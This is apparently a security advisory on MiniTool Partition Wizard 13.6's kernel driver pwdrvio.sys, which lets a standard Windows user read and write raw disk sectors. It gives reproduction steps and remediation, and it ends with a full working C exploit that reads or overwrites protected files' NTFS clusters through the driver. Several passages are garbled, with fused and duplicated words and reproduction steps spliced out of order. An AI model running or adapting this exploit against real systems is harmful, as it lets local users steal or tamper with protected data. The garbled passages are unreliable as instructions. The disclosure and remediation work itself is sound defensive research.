MiniTool Partition Wizard Kernel Driver pwdrvio.sys Local Privilege Escalation
MiniTool Partition Wizard Kernel Driver Allows Standard Users to Read and Write Raw Disk Sectors
Summary
MiniTool Partition Wizard DEMO 13.6 installs the signed kernel driver `pwdrvio.sys`. The driver exposes sys`\\.\PartitionWizardDiskAccesser\<disk_number>` and forwards read, write, and disk IOCTL requests to the lower disk device from kernel context.
In the validation below, a standard user at Medium Integrity could not directly read or write a protected file on a temporary VHD and could not directly open `\\.\PhysicalDrive1`. The same standard user used PhysicalDrive1`pwdrvio.sys` to read the protected file's NTFS data clusters from the raw disk and then overwrite those clusters. After remounting the VHD, the protected file contained the low-user supplied marker.sys
Affected Product and Version
-
- Product: MiniTool Partition Wizard DEMO
- Tested version: 13.6
- Driver:
`pwdrvio.syssys` - Driver SHA-256:
0489B3DEC6A33E50D8A48A8DAD3F5B923A81F7300E4A71358D90D2879BAC9AA2`0489B3DEC6A33E50D8A48A8DAD3F5B923A81F7300E4A71358D90D2879BAC9AA2`
-
-
-
Download URL and SHA-256
-
- Download page:
`https://www.partitionwizard.com/download.htmlhtml` - Download URL:
`https://cdn2.minitool.com/?e=pw-demo&p=pwpw` - File name used for validation:
`pw_demo_installer.exeexe` - Installer SHA-256:
DBF366FEDD9773D2B336A11180AA00CAFF0F066EF17061C022ACEDBC3548B0FB`DBF366FEDD9773D2B336A11180AA00CAFF0F066EF17061C022ACEDBC3548B0FB` - Installer version: 13.6
- Installer signature: Valid, MiniTool Software Limited
- Driver signature: Valid, MiniTool Solution Ltd
-
-
-
-
-
-
Vulnerability Type
Local privilege escalation primitive / raw disk read-write access-control bypass through a kernel driver.
Impact
A low-privileged local user can bypass Windows file and raw-disk access controls by reading and writing raw disk sectors through `pwdrvio.sys`. This can expose protected file content and can modify protected files by writing their underlying NTFS data clusters.sys
The proof used a temporary VHD and a self-created protected marker file. The same primitive could be used against sensitive files or filesystem metadata on real disks if the vulnerable driver is installed and reachable.
Test Environment
-
- OS: Windows x64 test VM
- Administrator account used only for installation, VHD setup, and cleanup
- Test user: standard user
`EXPDEV\lowlow` - Test user integrity: Medium Integrity
- Test user groups:
`BUILTIN\Users`, notUsers`BUILTIN\AdministratorsAdministrators` - Controlled disk: temporary VHD attached as disk 1
- Protected test object:
`R:\protected\admin_only_flag.binbin`
-
-
-
-
-
-
Driver Load / Setup Steps
The official MiniTool Partition Wizard DEMO 13.6 installer was downloaded from the vendor CDN and verified. It was installed silently:
```powershell
pw_demo_installer.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
```
The installer created and started the `pwdrvio` kernel service:pwdrvio
```text
SERVICE_NAME: pwdrvio
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
BINARY_PATH_NAME : \SystemRoot\system32\pwdrvio.sys
```
A temporary VHD was created, formatted NTFS, and assigned drive letter `R:`. An administrator created a protected marker file on that VHD and removed inheritance so only Administrators and SYSTEM had access:
```powershell
New-Item -ItemType Directory R:\protected
[IO.File]::WriteAllBytes('R:\protected\admin_only_flag.bin', $markerBytes)
icacls R:\protected\admin_only_flag.bin /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F'
```
The file's NTFS extent was resolved with `fsutil file queryextents`. The first data run began at disk offset queryextents`5865472` and was 5865472`20480` bytes long on disk 1.20480
Reproduction Steps
These steps use a temporary VHD and a self-created protected marker file. Do not write to a real system disk.
1. Install and Verify Driver
Download the official MiniTool Partition Wizard DEMO installer:
```text
https://cdn2.minitool.com/?e=pw-demo&p=pw
```
Expected installer SHA-256 from this validation:
```text
DBF366FEDD9773D2B336A11180AA00CAFF0F066EF17061C022ACEDBC3548B0FB
```
Install:
```powershell
pw_demo_installer.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
sc.exe query pwdrvio
```
Expected state:
```text
STATE : 4 RUNNING
```
2. Create Controlled VHD and Protected Flag
Run as administrator:
```powershell
diskpart.exe
create vdisk file=C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd maximum=96 type=fixed
select vdisk file=C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd
attach vdisk
create partition primary
exit
Get-Partition -DiskNumber 1 -PartitionNumber 1 | Set-Partition -NewDriveLetter R
Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel MTREPRO -Confirm:$false -Force
```
Create a protected marker file:
```powershell
New-Item -ItemType Directory -Force R:\protected
$marker = 'MINITOOL-PWDRVIO-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
$bytes = [Text.Encoding]::ASCII.GetBytes($marker.PadRight(20480, 'A'))
[IO.File]::WriteAllBytes('R:\protected\admin_only_flag.bin', $bytes)
icacls R:\protected\admin_only_flag.bin /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F'
```
Resolve the baselinefile's disk offset:
```powershell
fsutil fsinfo ntfsinfo R:
fsutil file queryextents R:\protected\admin_only_flag.bin
```
In this validation:
```text
Disk number: 1
Partition offset: 65536
Bytes per cluster: 4096
First LCN: 1416
Run length: 20480
Disk offset: 5865472
```
3. Baseline as Standard User
Run as the standard user:
```powershell
whoami /all
[IO.File]::ReadAllBytes('R:\protected\admin_only_flag.bin')
[IO.File]::WriteAllText('R:\protected\admin_only_flag.bin', 'SHOULD-NOT-WRITE')
[IO.File]::Open('\\.\PhysicalDrive1', [IO.FileMode]::Open, [IO.FileAccess]::ReadWrite, [IO.FileShare]::ReadWrite)
```
Observed:Expected result:
expdev\low
BUILTIN\Users
Mandatory Label\Medium Mandatory Level
```text
READ-FAILED: Access to the path 'R:\protected\admin_only_flag.bin' is denied.
WRITE-FAILED: Access to the path 'R:\protected\admin_only_flag.bin' is denied.
RAW-OPEN-FAILED: Access to the path '\\.\PhysicalDrive1' is denied.
```
4. Read Protected File Clusters Through Driver
Read the protected file's raw data clusters through the driverRun as the same standard user:
```powershell
minitool_pwdrvio_disk_forwarder_poc.exe --disk 1 --read --offset 5865472 --length 20480 --out exploit_read_clusters.bin
```
Observed:Expected result:
```text
read 20480 bytes from disk 1 offset 5865472 via pwdrvio forwarder
0000 4d 49 4e 49 54 4f 4f 4c 2d 50 57 44 52 56 49 4f
0010 2d 50 52 4f 54 45 43 54 45 44 2d 46 4c 41 47 2d
```
TheConfirm extractedthe clusteroutput datacontains contained:the protected marker string.
MINITOOL-PWDRVIO-PROTECTED-FLAG-cb09e8c5-5583-4bfd-b7db-75d54699bb4f5.
Overwrite Dismount the VHD volume,volume thenbefore overwritewriting:
```powershell
mountvol R: /p
```
Run as the same controlled file data run as the standard user:
mountvol R: /p```powershell
minitool_pwdrvio_disk_forwarder_poc.exe --disk 1 --write --offset 5865472 --in controlled_write_payload.bin --dangerous-write
```
Observed:Expected result:
```text
wrote 20480 bytes to disk 1 offset 5865472 via pwdrvio forwarder
```
Reassign the VHD drive letter`R:` and readverify thethat protected`R:\protected\admin_only_flag.bin` file as administrator. The file now contains:
MINITOOL-PWDRVIO-WRITE-FLAG-1bb2fd73-db86-41b4-9ffa-83ec90f89d24
Baseline Evidence
baseline_direct_access.txtshows the test user isEXPDEV\low, belongs toBUILTIN\Users, and runs at Medium Integrity.The same baseline shows direct read and direct write access to the protected marker file failed with access denied.The same baseline shows direct read-write open of\\.\PhysicalDrive1failed with access denied.
Exploit Evidence
exploit_geometry.txtshows a disk geometry IOCTL succeeded through\\.\PartitionWizardDiskAccesser\1.exploit_read_stdout.txtshows the standard user read 20480 bytes from disk 1 offset5865472throughpwdrvio.sys.exploit_read_marker.jsonconfirms the raw data contained the protected marker string.exploit_write_stdout.txtshows the standard user wrote 20480 bytes to the same disk offset throughpwdrvio.sys.admin_flag_after_write.jsonconfirms the protected file containedcontains the new writemarkermarker.after6.
remount.
Why This Proves the Vulnerability
TheRun testas user is a standard user at Medium Integrity. Windows correctly denied that user direct file access and direct raw-disk access. The same user could access the protected file contents and overwrite them through pwdrvio.sys, because the driver exposes raw disk reads and writes without enforcing the caller's normal Windows access checks.administrator:
This demonstrates a practical protected-file read/write impact using a controlled VHD and a self-created protected flag file.
Cleanup Steps
```powershell
Dismount-DiskImage -ImagePath C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd
C:\Program\unins000.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART
sc.exe stop pwdrvio
sc.exe delete pwdrvio
sc.exe delete pwdspio
Remove-Item C:\ProgramData\VendorRepro\minitool_pwdrvio -Recurse -Force
```
Cleanup was confirmed: the VHD was dismounted, the product uninstaller exited successfully, pwdrvio was deleted, and the runtime test directory no longer existed.
Suggested Remediation
- Do not expose raw disk read/write forwarding to low-privileged callers.
- Restrict the device object ACL with
IoCreateDeviceSecureor an INF SDDL so only trusted administrative service components can open the device. - Impersonate the caller and require normal Windows access checks before opening or forwarding operations to disk devices.
- Remove generic disk IOCTL forwarding or replace it with a strict allowlist of non-sensitive operations.
- Add explicit authorization checks for all write-capable and raw-disk-capable IOCTL/read/write paths.
POC
// FND-013 compile-only PoC.
// MiniTool Partition Wizard pwdrvio.sys raw disk forwarder.
//
// Default actions are read-only. Raw disk writes require --dangerous-write.
// Build only; run inside an isolated VM with the vulnerable driver installed.
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <winioctl.h>
#include <stdint.h>
#include <stdio.h>
#include <wchar.h>
static void usage(void) {
fwprintf(stderr,
L"usage:\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --geometry\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --read --offset <n> --length <n> --out <file>\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --write --offset <n> --in <file> --dangerous-write\n"
L"\nexamples:\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk 0 --read --offset 0 --length 512 --out sector0.bin\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk 0 --geometry\n");
}
static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i + 1 < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return argv[i + 1];
}
return NULL;
}
static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return 1;
}
return 0;
}
static uint64_t parse_u64(const wchar_t *s) {
return s ? _wcstoui64(s, NULL, 0) : 0;
}
static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
LARGE_INTEGER sz;
DWORD got = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
CloseHandle(f);
return 0;
}
*buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
*len = (DWORD)sz.QuadPart;
if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD wrote = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
static int sync_read(HANDLE h, uint64_t offset, BYTE *buf, DWORD len, DWORD *got) {
OVERLAPPED ov;
DWORD err;
ZeroMemory(&ov, sizeof(ov));
ov.Offset = (DWORD)offset;
ov.OffsetHigh = (DWORD)(offset >> 32);
ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!ov.hEvent) return 0;
if (ReadFile(h, buf, len, got, &ov)) {
CloseHandle(ov.hEvent);
return 1;
}
err = GetLastError();
if (err == ERROR_IO_PENDING && GetOverlappedResult(h, &ov, got, TRUE)) {
CloseHandle(ov.hEvent);
return 1;
}
SetLastError(err);
CloseHandle(ov.hEvent);
return 0;
}
static int sync_write(HANDLE h, uint64_t offset, const BYTE *buf, DWORD len, DWORD *wrote) {
OVERLAPPED ov;
DWORD err;
ZeroMemory(&ov, sizeof(ov));
ov.Offset = (DWORD)offset;
ov.OffsetHigh = (DWORD)(offset >> 32);
ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!ov.hEvent) return 0;
if (WriteFile(h, buf, len, wrote, &ov)) {
CloseHandle(ov.hEvent);
return 1;
}
err = GetLastError();
if (err == ERROR_IO_PENDING && GetOverlappedResult(h, &ov, wrote, TRUE)) {
CloseHandle(ov.hEvent);
return 1;
}
SetLastError(err);
CloseHandle(ov.hEvent);
return 0;
}
static void hexdump_prefix(const BYTE *buf, DWORD len) {
DWORD shown = len < 256 ? len : 256;
for (DWORD i = 0; i < shown; i += 16) {
wprintf(L"%04x ", i);
for (DWORD j = 0; j < 16 && i + j < shown; ++j) {
wprintf(L"%02x ", buf[i + j]);
}
wprintf(L"\n");
}
}
int wmain(int argc, wchar_t **argv) {
const wchar_t *disk_s = arg_value(argc, argv, L"--disk");
const wchar_t *out_path = arg_value(argc, argv, L"--out");
const wchar_t *in_path = arg_value(argc, argv, L"--in");
uint64_t disk = parse_u64(disk_s);
uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
uint64_t length64 = parse_u64(arg_value(argc, argv, L"--length"));
int do_geometry = has_arg(argc, argv, L"--geometry");
int do_read = has_arg(argc, argv, L"--read");
int do_write = has_arg(argc, argv, L"--write");
wchar_t devpath[128];
HANDLE h;
if (!disk_s || disk > 99 || (do_geometry + do_read + do_write) != 1) {
usage();
return 2;
}
_snwprintf(devpath, _countof(devpath), L"\\\\.\\PartitionWizardDiskAccesser\\%llu",
(unsigned long long)disk);
devpath[_countof(devpath) - 1] = 0;
h = CreateFileW(devpath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (h == INVALID_HANDLE_VALUE) {
fwprintf(stderr, L"CreateFileW(%ls) failed: %lu\n", devpath, GetLastError());
return 1;
}
if (do_geometry) {
BYTE outbuf[1024];
DWORD returned = 0;
ZeroMemory(outbuf, sizeof(outbuf));
if (!DeviceIoControl(h, IOCTL_DISK_GET_DRIVE_GEOMETRY_EX,
NULL, 0, outbuf, sizeof(outbuf), &returned, NULL)) {
fwprintf(stderr, L"DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY_EX) failed: %lu\n",
GetLastError());
CloseHandle(h);
return 1;
}
wprintf(L"geometry ioctl returned %lu bytes via pwdrvio forwarder\n", returned);
hexdump_prefix(outbuf, returned);
CloseHandle(h);
return 0;
}
if (do_read) {
BYTE *buf;
DWORD len;
DWORD got = 0;
if (!out_path || length64 == 0 || length64 > 0x100000) {
usage();
CloseHandle(h);
return 2;
}
len = (DWORD)length64;
buf = (BYTE *)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buf) {
fwprintf(stderr, L"VirtualAlloc failed: %lu\n", GetLastError());
CloseHandle(h);
return 1;
}
if (!sync_read(h, offset, buf, len, &got)) {
fwprintf(stderr, L"ReadFile through pwdrvio failed: %lu\n", GetLastError());
VirtualFree(buf, 0, MEM_RELEASE);
CloseHandle(h);
return 1;
}
if (!write_file_all(out_path, buf, got)) {
fwprintf(stderr, L"could not write output file: %ls\n", out_path);
VirtualFree(buf, 0, MEM_RELEASE);
CloseHandle(h);
return 1;
}
wprintf(L"read %lu bytes from disk %llu offset %llu via pwdrvio forwarder\n",
got, (unsigned long long)disk, (unsigned long long)offset);
hexdump_prefix(buf, got);
VirtualFree(buf, 0, MEM_RELEASE);
CloseHandle(h);
return 0;
}
if (do_write) {
BYTE *buf = NULL;
DWORD len = 0;
DWORD wrote = 0;
if (!in_path || !has_arg(argc, argv, L"--dangerous-write")) {
fwprintf(stderr, L"raw disk writes require --in <file> and --dangerous-write\n");
CloseHandle(h);
return 2;
}
if (!read_file_all(in_path, &buf, &len)) {
fwprintf(stderr, L"could not read input file: %ls\n", in_path);
CloseHandle(h);
return 1;
}
if (!sync_write(h, offset, buf, len, &wrote)) {
fwprintf(stderr, L"WriteFile through pwdrvio failed: %lu\n", GetLastError());
HeapFree(GetProcessHeap(), 0, buf);
CloseHandle(h);
return 1;
}
wprintf(L"wrote %lu bytes to disk %llu offset %llu via pwdrvio forwarder\n",
wrote, (unsigned long long)disk, (unsigned long long)offset);
HeapFree(GetProcessHeap(), 0, buf);
}
CloseHandle(h);
return 0;
}